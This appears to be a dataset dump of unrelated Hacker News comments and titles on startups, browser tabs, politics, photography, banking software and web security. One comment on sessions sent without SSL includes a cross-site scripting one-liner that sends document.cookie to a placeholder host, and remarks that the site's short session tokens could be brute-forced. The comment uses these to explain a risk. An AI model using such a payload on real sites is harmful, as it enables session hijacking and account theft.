skysight-inc/HackerNews huggingface dataset:
I wrote the original in Basic as a tool that we used in our service business. We collected requirements and entered them into the app as "blueprints". File layouts, form parameters, process parameters, etc. The generator read the blueprints, then built the data base and wrote all the necessary custom functions and routines. Most of the programs were already there as parameter driven shells.

I rewrote it in Visual Basic, then in php.

This was a handy tool for systems analysts who knew what they were doing, but not for the average user. There were 2 basic problems: collecting requirements and entering them as parameters is hard and you still had to convert the data.

Now I'm working on a front end to the 3rd generation of the generator. It will read existing data files and use an artificially intelligent process to build the parameters then were previously collected by a human. It will also populate the new data base. This is the basis of my start-up.

I will keep the community updated with my progress. I also got your email from your profile and will give you (and anyone else who's interested) an update. Thanks for your interest.
Skåne is not Silicon Valley – yet
That's item #1 on the backlog.
Financial Reform Killing Off Bonds
Upvoted. However, a different political system would itself necessitate a cultural shift.
I might get knocked on the head by HN for saying this, but .... my MBA. Wait, wait, before you hit me, let me explain. My undergrad major was in CS and I did a minor in economics, but I never took marketing classes, I never took a class in organizational behaviour, in pricing theory, accounting etc. I was exposed to a lot of this during my MBA program and it has helped me immensely in the startups I've done since finishing my MBA.

I find that people who have always been entrenched in technical fields have a hard time stepping back and it seeing issues through the eyes of the "average" person - for some definition of average.

But a close second in terms of investment, a second monitor. For programming, having two screens is essential I find. I'd say my productivity increased by 20% (e.g. being able to iteratively prototype more readily, leading to quicker turnaround)
Well said. And massive culture shifts are hard to get started on account of the inertia involved. However, piggy-backing on other culture shifts already in progress is easier.

This may sound overly idealistic. But a technology shift that is clear about openness and transparency of information, and which gradually supports voting in efficient, electronic ways (with checks and balances that prevent mob-like behavior) could help solve these problems. Could eventually be what solves a lot of this. Obama may be remembered not so much for being the first African American president, but the first one elected with social media. Information wants to be free and networks are fast.
Is The Game Industry A Happy Place?
Nobody is talking about teachers. But in California the Prison Guard Union holds immense sway.
To add to your point, a couple weeks ago I saw a dozen hysterical media reports concerning another provision slipped into the bill, this time regarding the sale of gold. Supposedly, the government wants all gold sellers to report any transactions exceeding $600. I've researched a bit and it turned out to be the same legislation - only sales between businesses are required to be reported, and there is nothing specific about gold, it's just part of the same 1099 provision.

Don't get me wrong, I've been outraged by the practice of concealing unrelated bits of legislation inside various bills for years, but to say that this is worse than war is truly an exaggeration. Major annoyance, yes, but still quite a bit better than being shot.
Thats why I think I would still continue to use multiple windows and spaces. It's easy to stay in the mindset of work, with work related tabs and an IDE in the space. Theres no temptation to look at "unproductive work" because it doesn't exist.

Plus I'm using chrome but that's for other reasons.
Don't worry, Adobe's slowly getting there.
"Anything that good hackers would find interesting. That includes more than hacking and startups. If you had to reduce it to a sentence, the answer might be: anything that gratifies one's intellectual curiosity."

I'm not an Israeli, but I would have to assume that maybe the poster thought Israeli hackers might find this intellectually curious. Also, there are and were plenty of topics on health care legislation in the US, so this doesn't appear to be outside the scope of HN rules, but I could be wrong.

Flagging, in my opinion, is what killed the HN post - not a policy or moderator decision. Correct me if I'm wrong.
The original invoice and uncashed check would substantiate his explanation of the error. I don't enjoy filling out forms etc., but somehow I manage to keep my tax paperwork and business receipts chronically organized in case I ever need to verify something.
Beyond that, the conditions in some prisoner (esp. California's) can lead to mental illness. Talk to someone who has been in AdSeg, as an example.
This is such a strange idea, I could definitely see this helping people, but the people it would help probably wouldn't know this existed as an option.
I've never felt like I've had a "bad luck" day. Part of that might be not believing in luck or making my own. For me, bad days generally occur when my schedule is too tight and I have a cascading failure.

For example, I have a trouble sleeping so when I get up I'm groggy. That makes me late to leave for a meeting, which usually means I'll forget something or have another problem in my rush. I don't have time to stop for coffee, so I'm even less lucid than I usually am. In my grogginess and haste, I take longer to respond to emails and I spent less time mentally answering them before I had to, so that takes longer than I expected. Then I end up with a late lunch. etc.

I find the trick to avoiding bad days is generally just to give myself ample time to recover if something is putting pressure on my schedule.
Gibberish. Not your comment, I just figured I would preface my reply with a single meaningless word that added nothing to what I was about to say, and if that's the convention, then it may as well be a word which actually means 'meaningless'. Over. (New convention, we'll end every reply with the word 'Over'.)
I agree with yason. I rather enjoy having segregated spaces, for work, normal, university etc. That way I'm looking at articles related to work, I have the ability to switch to an IDE and do work. The only other option is to have everything in 1 space and that's not preferable.
If you are passionate enough about software development aspects, most HN articles will not feel overwhelming, as you will be constantly improving on your craft. But then you will know how much more there is to learn. Just don't feel overwhelmed then.

I sometimes feel like I'm dragged into too many directions at the same time. Damn interest. But that's it. I love to spin, reading about 3 or 4 frameworks in 2 or 3 languages serially until I feel something like information satisfaction or I'm getting tired.

I think I actually need the diversity of information. Sort of brain stimulation through information overflow. ;)

But it works. Diversity is very good for the brain, i think it's irrelevant in wich form.

And when you're talking about pragprog:
http://pragprog.com/titles/ahptl/pragmatic-thinking-and-lear...

My favourite pragprog book so far.
I'm sure Jane Street knows their stuff when it comes to OCaml... but this is fluff. Some examples would be nice.
sort of silly to try to keep the metaphor as a financial instrument.

its really a simple message: write bad code, and you might pay for it later. sometimes you get lucky, sometimes you don't.

"technical debt" as a term isn't intended to capture a specific risk/reward payout structure. It doesn't need clarification in this vein.
"Probably didn't need to read those 50 tabs of reddit anyway before my exam"
How exactly do you plan on using these hashes to ensure uniqueness if you are going to hash them with a patient specific salt? If you want to know if you have a patient with SSN X you would have to go through every patient record computing however you plan on doing it with their salt plus the query SSN (you could make it not so horrible by ordering the checks by similar names/birthdays/whatever).

Since you are talking about generating an identifier from the SSN and using that instead there is no benefit to using the SSN in the first place. Generate a UUID and use that instead.
Tech worker testifies of 'blue screen of death' on oil rig's computer
if you're using backtracking, maybe "regular expressions" aren't the right tool.
> an undercover federal agent had ordered some orchids from him, a few of which arrived without the correct papers. For this, he was charged with making a false statement to a government official, a federal crime punishable by up to five years in prison

What? Lying to an undercover agent is criminal? Well, I guess considering you CANNOT TELL THEY ARE AN AGENT that pretty much means lying needs to be treated as criminal, if you are to keep yourself safe.
Suppose Dick and Jane both implement their simple feature which is fairly similar. I'd estimate that much of the time it's costless to have two slightly different approaches in the codebase. In those cases it's also nearly costless to retroactively standardize.

My experience disagrees on both counts. Furthermore my experience is that if I'm actively developing code and feel that a particular piece of cleanup is a good idea, the usual time to my discovering that it really was a good idea is about 2 weeks. (In maintenance it proves itself much more slowly.)

Of course I have quite a bit of experience and a well-trained intuition. I've seen other people whose "cleanups" were anything but, and who were fond of entering abstractions to simplify the future that would never pay off. (I'm a big believer that making something simple with little code makes virtually any future rewrite easier. This helps. A lot.)
"Worse, how many of us keep tabs open as reminders of something we want to do or read later?"

Indeed I do. One of these days I'll get around to adding an extension that allows me to queue links without opening them in tabs.

Anyway, I don't understand why Tab Candy is an improvement over simple window management. Since the introduction of tabs, I've grouped tabs by purpose into separate windows, and rather assumed that's how everyone did it. Especially now that you can easily drag tabs from one browser window to another, it's effortless. No new GUI to learn, to expensive extension to install.
If you assume that an attacker has access to your traffic (via MITM DNS poisoning, proxy or something else remote) then logging in via SSL while running the logged in application over non-SSL prevents nothing, since the attacker can grab the session token/cookie.

Campaigns like this one are good, but they risk creating a false sense of security since sending a session token over the clear is vulnerable to the same exploits that logging in over the clear is.

This is why Gmail is all SSL by default now (and with the secure bit on the cookie set, so that it is only sent over https)

(with a XSRF exploit in a web app, capturing the session token is as easy as:

document.write('<img src="http://myserver/catch?' + document.cookie + '" width="0" height="0" />');

speaking of, the session token on Hacker News is crazy short, which would make the keyspace small enough to be viably brute-forced (especially since expiry is infinity))
We made our own credit card reader for taking payments...
I had no idea you could import fonts into the browser.

Which browser support this?
You missed the point, which was to allay the parent post's worries about accuracy by providing some more detailed statistics than were available in the article. I am not endorsing the policy behind those numbers. I live in California and it affects me too.
Dealing with big corporations: Talk is cheap, writing is expensive
It's extremely disappointing that the majority of sites don't have secure logins. Is there a certain performance penalty that is associated with it? (Not for something small, but say Facebooks scale if they were to have https as the default login?)

(After we get sites using https for logins I suggest we go after ones e-mailing passwords to users ala Plenty of Fish)
Specifically, I meant that the constitution explicitly gives each of the Army and the Navy cabinet-level power and responsibility. The Air Force was given the same power and responsibility, without amending the constitution.
America has never had a working mental health infrastructure; we stopped institutionalizing people because American mental institutions in the 40s were about the most horrible things you can imagine:

http://www.npr.org/templates/story/story.php?storyId=1220177...

I think the history of our neglect as a society of the mentally ill has little to tell us about crime and a lot to tell us about the homeless underclass in America.

To digress: I just visited DC again a couple weeks ago. You go in a public bathroom right outside the Washington Monument and there are big signs next to the sinks that say "NO BATHING". I felt ashamed.
I think perhaps you're missing the point. Even if you run the number to 1000, or even 10,000, you're eventually going to get outliers. In the real world, precisely because most people have no understanding of statistics, significant public policy decisions with real impact on people's lives would be made on the basis of events that happened merely by chance. Cancer clusters for instance trigger all kinds of legal action and political grandstanding, yet such outliers are statistically inevitable.
"Social media clients are moving beyond the desktop, laptop, and smartphone onto new kinds of devices like the iPad and the Dash"

Seems like the TV would be an obvious place for this (as some sort of screen-saver mode perhaps). Are any manufacturers doing this yet?
I almost didn't catch the typo:

> To get performance that is acceptable to Rich Clojure, data structures are not implemented using purely immutable data structures (Okasaki style) from the Java side.

For the record, I think that is adorable.
How has the cost of providing healthcare gone from $468 to $8768 in 8 years?
The connection I drew is of people who have a strong ideological worldview that simple mechanisms would solve things, if only everyone agreed; two examples are the "free market will solve everything" right and the "going back to nature will solve everything" left.
There are 3 120 and 4x5 film development places within 15 minutes (driving) of my apartment.
PlugBot: covert penetration testing device
I just looked at the article and actually found it to be quite interesting, somehow I missed it at NYT website.
It will help me. Truly good design requires focused, skilled attention. But things like "core styles", blueprint, and the YUI stylesheets move the standard of "good enough" a little bit closer to that ideal. It's awesome for a developer working on an MVP.
Redirect caching deep dive
The fact that you never feel like the world is out to get you, or that things are beyond your control probably gives you a distinct advantage over 99% of people. It is easy for most people (including myself) to fall into that trap.

Then again, there's the study that shows that people who believe in luck tend to lead happier and longer lives. [1]

[1] http://www.psychologytoday.com/blog/raising-happiness/201003...
In The Republic, Plato argues that the best form of rule is philosopher-kings; your answer seems to be the same. I tend to agree, but of course the logistics of finding such a ruler are difficult and subject to corruption.
Well, let's not jump to conclusions. I agree with you that the submissions kill policy at HN leaves a lot to be desired (there was a post about this at HN today). However, you don't know if it's killed by flagging (community vote) or moderator action (just a few people, I think 30). Even if it was flagged, AFAIK it doesn't take a lot of votes to kill it. So the "large number of people" point is not valid.

P.S. The post I mentioned (http://news.ycombinator.com/item?id=1540904) is unfortunately killed, too. You have to turn showdead on to see it.
Press Release Mad Libs
Although I didn't like the slant "silly Libertarian, politics is for grownups" I like the thought he put into how the economy is shifting. One thing that should be noted is that even though 10,000 engineers might be somehow involved in the creation of, say, an iPhone; proportionally 9000 of them may have only "spent" a relative fraction of a second on just the iPhone. For example, the engineers in charge of designing a common capacitor that is manufactured in the billions are not working a fully person-year on the iPhone. It's like saying that my tumblr blog needed 100k engineers and programmers to create. 2000 for the linux run server, 9000 to create web standards, 7000 to create network protocols, etc. It just gets silly - work overlaps.
Your Move: The Maze of Free Will
I definitely understand the windowing you do.
I, on the other hand, despise multiple windows for firefox. It's hate learned from IE I suppose.
In my case, I use TreeStyle Tabs. The tree function is vital to working.

I think Tab Candy can combine these two concepts somewhat effectively, however, Mozilla should focus on speed, reliability, and accessibility.
It's much more difficult to appease the average browser with hard facts compared to pretty videos and features, I suppose.
I AM DROWNING IN INFOGUILT! Now I know the name. This looks great.
Will Facebook add a Dislike button?
Is this a trick where you post an item from 1999 and we all think it's recent? This seems completely pointless -surely anyone able to code HTML is also able to copy and paste a Css file from somewhere?
I would love to see that too.
Or try it in Chrome, and be amazed by just how different it feels -- not just to have V8, but to have it in a separate process.
Ah, I forgot that the holga was a medium format camera... and I just realized I have no idea how physically large the sensor in my cheap digital cam is... hmmm.
Raw democracy is dangerous.

Democracy with limited and enumerated state powers is actually kinda okay.

For example, we could start interpreting the commerce clause the way any reasonable and sane person would. That would go a long way toward fixing this sort of problem, by making us less of a pure democracy.
The headline is mildly ambiguous.

To be more precise, this is the last roll of Kodachrome which was produced. Not the last roll of Kodachrome which Dwayne's will develop.

From Dwayne's website:

Kodachrome Film Status: The last day of processing for all types of Kodachrome film will be December 30th, 2010. The last day Kodak will accept prepaid Kodachrome film in Europe is November 30th, 2010. Film that is not in our lab by noon on December 30th will not be processed.

Which is a great relief to me, because I still have 3 rolls of film I'm saving for 3 special occasions over this summer.
Mozilla posted an article about their decision to use Riak for an analytics program.

http://blog.mozilla.com/data/2010/05/18/riak-and-cassandra-a...

In it they discuss security issues addressing riak, cassandra, and hbase.

One poster mentioned the http interface, but also there are hooks within webmachine that would allow for some authentication as well - mentioned in the article.
It's all about two things:

1. Eliminating runtime errors(type mismatches, segmentation faults, and null pointer exceptions are a few problems that have been hammered on a lot and in some languages eliminated entirely).
2. Being able to manage a large project effectively. Things like build systems, code editors, debuggers, and perhaps most of all, access to libraries/hardware for the problem domain.

Newer general-purpose languages(under ~5-10 years) tend to offer compelling features in the first case, but almost nothing in the second, which makes a commercial project in them an expensive prospect.
It's not the idea of a mainframe in and of itself. It's that the longer you have such a system in place, the more difficult it becomes to update it.

The State of California still runs all its payroll processing via an ancient mainframe running COBOL. Making changes is difficult, fewer and fewer programmers are available to perform the work (and so it costs more) and the problem just keeps getting worse. Apparently they have been trying to replace it since 2004, but the legislature doesn't want to provide the $100 million that is supposedly required.
By decoupling urls in the browser from urls in the web app, it's only going to increase the amount of content in the Deep Web that Google can't index. I imagine it'll be difficult to make GoogleBot crawl and index "pages" after large swaths of the web are using this. And once this Javascript feature is in jQuery, then we can expect a huge number of web developers to start using it by default.

I don't know how much Javascript the GoogleBot currently parses and/or executes, but I imagine it would be enormously complex to embed v8 into the crawler, and then execute all Javascript on every page and determine what to index on a "page." If we ever get to the point where you can't screen scrape a web app without also executing its Javascript, then PageRank-like methods become less effective, and we'll need more semantic approaches to search. It's a great thing such semantic approaches don't yet exist!
In a Startup: It’s About The People
It's not just big banks, small community banks (and credit unions) are at the mercy of convoluted system vendors as well.

A system I know of includes many barely-integrated parts, most of which are from different vendors:
- A core processing system

- An online banking system

- An add-on to the online banking system to provide "enhanced" logon security to comply with an FFIEC mandate

- An add-on to online banking that provides online statements

- An email-alerting system (think "your account is overdrawn")

- A loan origination system

- A loan servicing system

- A CRM system

- A document archiving system

- A mobile banking "solution"

The WTFs you find in these systems will boggle the mind, and seamless integration is maddening.
241 D.C. teachers fired over low student test scores
It seems like OCaml is mostly dead and Jane Street is the only place it is still used.
Perl Creator Hints at Imminent Perl 6 Release
With regard to mens rea, it should at the very least apply to conspiracy charges.
> Soon I'll have to switch my mental mode just to get my head to this fancy tab-organize mode.

One nice thing about Tab Candy is that it's invisible until you choose to use it. You can use tabs and windows just like you always have, and nothing will change.

Watch ten different people use web browsers, and you'll see they have very different usage styles. Tab Candy addresses some problems experienced by many but not all users, and does it without impacting the others. (You could say the same about virtual desktops in X11 or Spaces in Mac OS X.)
Double-quoted string with escape sequences vs. single quoted string.

puts "hello\nworld"

puts 'hello\nworld'
Would you consider working with Iphone app developers to make money tracking and spending actionable? I've wanted this tool for a few years now. If I set my expenses, say utilities, rent, insurance, and car payments in a system that also tracks my purchases and income, I could see my daily budget for other more spontaneous expenses. I could open up my app to find what my drinking/nightlife expenses can be today, or tally up the day's spending to see if I'm still on track with that utility bill.

The thing I've found frustrating about financial planning tools is that they seldom give me any useful information about the purchase I want to make right now. Instead, they tell me about the malleable resource called money, and offer me the chance to look at it from a 3rd person perspective.